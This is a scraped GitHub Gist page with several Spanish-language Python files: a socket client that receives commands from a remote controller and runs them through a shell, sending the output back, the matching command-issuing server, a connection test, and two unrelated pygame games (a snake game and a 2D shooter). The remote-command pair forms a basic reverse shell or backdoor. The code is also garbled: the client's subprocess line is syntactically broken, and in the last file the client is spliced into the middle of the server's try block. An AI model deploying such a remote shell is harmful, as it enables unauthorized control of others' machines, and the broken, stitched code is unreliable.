Created
May 24, 2025 15:58
-
-
Save Graveler911/bbf719722750800c098bfed210f8ce41 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket | |
import subprocess | |
import os | |
host = socket.gethostname() | |
port = 9998 | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
s.connect((host, port)) | |
print ("Conectado a traves del puerto: {}".format(port)) | |
while True: | |
data = s.recv(1024) | |
if data[:2].decode('utf-8') == 'cd': | |
os.chdir(data[3:].decode('utf-8')) | |
if len(data[:2].decode('utf-8')) > 0: | |
proc == subprocess.Popen(data[:].decode('utf-8')),shell == True, stderr == subprocess.PIPE, | |
stdout = subprocess.PIPE, stdin = (subprocess.PIPE) | |
byte_info = proc.stderr.read() + proc.stdout.read() | |
string_info = str(byte_info) | |
s.send(str.encode(string_info)+str(os.getcwd() + '>')) | |
print (string_info) | |
s.close() | |
import socket | |
host = '192.168.1.10' # Reemplaza con la IP del servidor | |
port = 9998 | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
try: | |
s.connect((host, port)) | |
print(f"Conectado a través del puerto: {port}") | |
except socket.error as e: | |
print(f"Error al conectar: {e}") | |
finally: | |
s.close() | |
import pygame | |
import time | |
import random | |
# Inicializar Pygame | |
pygame.init() | |
# Configuración de la pantalla | |
ancho_ventana = 800 | |
alto_ventana = 600 | |
color_fondo = (0, 0, 0) | |
color_culebra = (0, 255, 0) | |
color_comida = (255, 0, 0) | |
tamaño_bloque = 20 | |
velocidad_culebra = 15 | |
# Crear la ventana | |
ventana = pygame.display.set_mode((ancho_ventana, alto_ventana)) | |
pygame.display.set_caption('Juego de la Culebra') | |
# Fuente para el texto | |
fuente = pygame.font.SysFont(None, 35) | |
def mostrar_mensaje(msg, color): | |
texto = fuente.render(msg, True, color) | |
ventana.blit(texto, [ancho_ventana / 6, alto_ventana / 3]) | |
def juego(): | |
game_over = False | |
game_close = False | |
x_culebra = ancho_ventana / 2 | |
y_culebra = alto_ventana / 2 | |
x_culebra_cambio = 0 | |
y_culebra_cambio = 0 | |
culebra = [] | |
longitud_culebra = 1 | |
comida_x = round(random.randrange(0, ancho_ventana - tamaño_bloque) / 20.0) * 20.0 | |
comida_y = round(random.randrange(0, alto_ventana - tamaño_bloque) / 20.0) * 20.0 | |
reloj = pygame.time.Clock() | |
while not game_over: | |
while game_close: | |
ventana.fill(color_fondo) | |
mostrar_mensaje("¡Perdiste! Presiona Q para salir o C para jugar de nuevo", color_culebra) | |
pygame.display.update() | |
for evento in pygame.event.get(): | |
if evento.type == pygame.KEYDOWN: | |
if evento.key == pygame.K_q: | |
game_over = True | |
game_close = False | |
if evento.key == pygame.K_c: | |
juego() | |
for evento in pygame.event.get(): | |
if evento.type == pygame.QUIT: | |
game_over = True | |
if evento.type == pygame.KEYDOWN: | |
if evento.key == pygame.K_LEFT: | |
x_culebra_cambio = -tamaño_bloque | |
y_culebra_cambio = 0 | |
elif evento.key == pygame.K_RIGHT: | |
x_culebra_cambio = tamaño_bloque | |
y_culebra_cambio = 0 | |
elif evento.key == pygame.K_UP: | |
y_culebra_cambio = -tamaño_bloque | |
x_culebra_cambio = 0 | |
elif evento.key == pygame.K_DOWN: | |
y_culebra_cambio = tamaño_bloque | |
x_culebra_cambio = 0 | |
if x_culebra >= ancho_ventana or x_culebra < 0 or y_culebra >= alto_ventana or y_culebra < 0: | |
game_close = True | |
x_culebra += x_culebra_cambio | |
y_culebra += y_culebra_cambio | |
ventana.fill(color_fondo) | |
pygame.draw.rect(ventana, color_comida, [comida_x, comida_y, tamaño_bloque, tamaño_bloque]) | |
culebra_cabeza = [] | |
culebra_cabeza.append(x_culebra) | |
culebra_cabeza.append(y_culebra) | |
culebra.append(culebra_cabeza) | |
if len(culebra) > longitud_culebra: | |
del culebra[0] | |
for segmento in culebra[:-1]: | |
if segmento == culebra_cabeza: | |
game_close = True | |
for segmento in culebra: | |
pygame.draw.rect(ventana, color_culebra, [segmento[0], segmento[1], tamaño_bloque, tamaño_bloque]) | |
pygame.display.update() | |
if x_culebra == comida_x and y_culebra == comida_y: | |
comida_x = round(random.randrange(0, ancho_ventana - tamaño_bloque) / 20.0) * 20.0 | |
comida_y = round(random.randrange(0, alto_ventana - tamaño_bloque) / 20.0) * 20.0 | |
longitud_culebra += 1 | |
reloj.tick(velocidad_culebra) | |
pygame.quit() | |
quit() | |
juego() | |
import socket | |
host = '' | |
port = 9998 | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
s.bind((host, port)) | |
s.listen(10) | |
print("Esperando conexiones en el puerto", port) | |
def aceptar_conexiones(): | |
try: | |
conn, addr = s.accept() | |
print("Conectado a", addr[0]) | |
comandos(conn) | |
except Exception as e: | |
print(f"Error al aceptar conexión: {e}") | |
finally: | |
conn.close() | |
def comandos(conn): | |
while True: | |
try: | |
cmd = input("comando> ") | |
if cmd.strip() == 'q': | |
break | |
if len(cmd.strip()) > 0: | |
conn.send(cmd.encode()) | |
respuesta = conn.recv(1024).decode() | |
print(respuesta) | |
except Exception as e: | |
print(f"Error en la comunicación: {e}") | |
break | |
aceptar_conexiones() | |
import pygame | |
import random | |
# Inicializar Pygame | |
pygame.init() | |
# Configuración de la pantalla | |
ancho_ventana = 800 | |
alto_ventana = 600 | |
color_fondo = (0, 0, 0) | |
color_nave = (0, 255, 0) | |
color_proyectil = (255, 0, 0) | |
color_enemigo = (0, 0, 255) | |
velocidad_nave = 5 | |
velocidad_proyectil = 7 | |
velocidad_enemigo = 2 | |
num_enemigos = 5 | |
tamaño_nave = (50, 30) | |
tamaño_proyectil = (5, 10) | |
tamaño_enemigo = (50, 30) | |
# Crear la ventana | |
ventana = pygame.display.set_mode((ancho_ventana, alto_ventana)) | |
pygame.display.set_caption('Shooter 2D') | |
# Fuente para el texto | |
fuente = pygame.font.SysFont(None, 35) | |
def mostrar_mensaje(msg, color): | |
texto = fuente.render(msg, True, color) | |
ventana.blit(texto, [ancho_ventana / 6, alto_ventana / 3]) | |
def juego(): | |
game_over = False | |
x_nave = ancho_ventana / 2 - tamaño_nave[0] / 2 | |
y_nave = alto_ventana - tamaño_nave[1] - 10 | |
x_proyectil = -1 | |
y_proyectil = -1 | |
proyectiles = [] | |
enemigos = [] | |
for i in range(num_enemigos): | |
x_enemigo = random.randrange(0, ancho_ventana - tamaño_enemigo[0]) | |
y_enemigo = random.randrange(-150, -50) | |
enemigos.append([x_enemigo, y_enemigo]) | |
reloj = pygame.time.Clock() | |
while not game_over: | |
for evento in pygame.event.get(): | |
if evento.type == pygame.QUIT: | |
game_over = True | |
teclas = pygame.key.get_pressed() | |
if teclas[pygame.K_LEFT] and x_nave > 0: | |
x_nave -= velocidad_nave | |
if teclas[pygame.K_RIGHT] and x_nave < ancho_ventana - tamaño_nave[0]: | |
x_nave += velocidad_nave | |
if teclas[pygame.K_SPACE]: | |
if x_proyectil == -1 and y_proyectil == -1: | |
x_proyectil = x_nave + tamaño_nave[0] / 2 - tamaño_proyectil[0] / 2 | |
y_proyectil = y_nave - tamaño_proyectil[1] | |
ventana.fill(color_fondo) | |
pygame.draw.rect(ventana, color_nave, [x_nave, y_nave, tamaño_nave[0], tamaño_nave[1]]) | |
if x_proyectil != -1 and y_proyectil != -1: | |
pygame.draw.rect(ventana, color_proyectil, [x_proyectil, y_proyectil, tamaño_proyectil[0], tamaño_proyectil[1]]) | |
y_proyectil -= velocidad_proyectil | |
if y_proyectil < 0: | |
x_proyectil = -1 | |
y_proyectil = -1 | |
proyectiles = [[px, py] for px, py in proyectiles if py > 0] | |
for px, py in proyectiles: | |
pygame.draw.rect(ventana, color_proyectil, [px, py, tamaño_proyectil[0], tamaño_proyectil[1]]) | |
py -= velocidad_proyectil | |
proyectiles.append([px, py]) | |
if x_proyectil != -1 and y_proyectil != -1: | |
proyectiles.append([x_proyectil, y_proyectil]) | |
x_proyectil = -1 | |
y_proyectil = -1 | |
for enemigo in enemigos: | |
pygame.draw.rect(ventana, color_enemigo, [enemigo[0], enemigo[1], tamaño_enemigo[0], tamaño_enemigo[1]]) | |
enemigo[1] += velocidad_enemigo | |
if enemigo[1] > alto_ventana: | |
enemigo[1] = random.randrange(-150, -50) | |
enemigo[0] = random.randrange(0, ancho_ventana - tamaño_enemigo[0]) | |
for enemigo in enemigos: | |
for px, py in proyectiles: | |
if enemigo[0] < px < enemigo[0] + tamaño_enemigo[0] and enemigo[1] < py < enemigo[1] + tamaño_enemigo[1]: | |
enemigos.remove(enemigo) | |
proyectiles.remove([px, py]) | |
enemigos.append([random.randrange(0, ancho_ventana - tamaño_enemigo[0]), random.randrange(-150, -50)]) | |
break | |
pygame.display.update() | |
reloj.tick(30) | |
pygame.quit() | |
quit() | |
juego() |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket | |
host = '' | |
port = 9998 | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
s.bind((host, port)) | |
s.listen(10) | |
print("Esperando conexiones en el puerto", port) | |
def aceptar_conexiones(): | |
try: | |
conn, addr = s.accept() | |
print("Conectado a", addr[0]) | |
comandos(conn) | |
except Exception as e: | |
print(f"Error al aceptar conexión: {e}")import socket | |
import subprocess | |
import os | |
host = socket.gethostname() | |
port = 9998 | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
s.connect((host, port)) | |
print ("Conectado a traves del puerto: {}".format(port)) | |
while True: | |
data = s.recv(1024) | |
if data[:2].decode('utf-8') == 'cd': | |
os.chdir(data[3:].decode('utf-8')) | |
if len(data[:2].decode('utf-8')) > 0: | |
proc == subprocess.Popen(data[:].decode('utf-8')),shell == True, stderr == subprocess.PIPE, | |
stdout = subprocess.PIPE, stdin = (subprocess.PIPE) | |
byte_info = proc.stderr.read() + proc.stdout.read() | |
string_info = str(byte_info) | |
s.send(str.encode(string_info)+str(os.getcwd() + '>')) | |
print (string_info) | |
s.close() | |
finally: | |
conn.close() | |
def comandos(conn): | |
while True: | |
try: | |
cmd = input("comando> ") | |
if cmd.strip() == 'q': | |
break | |
if len(cmd.strip()) > 0: | |
conn.send(cmd.encode()) | |
respuesta = conn.recv(1024).decode() | |
print(respuesta) | |
except Exception as e: | |
print(f"Error en la comunicación: {e}") | |
break | |
aceptar_conexiones() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment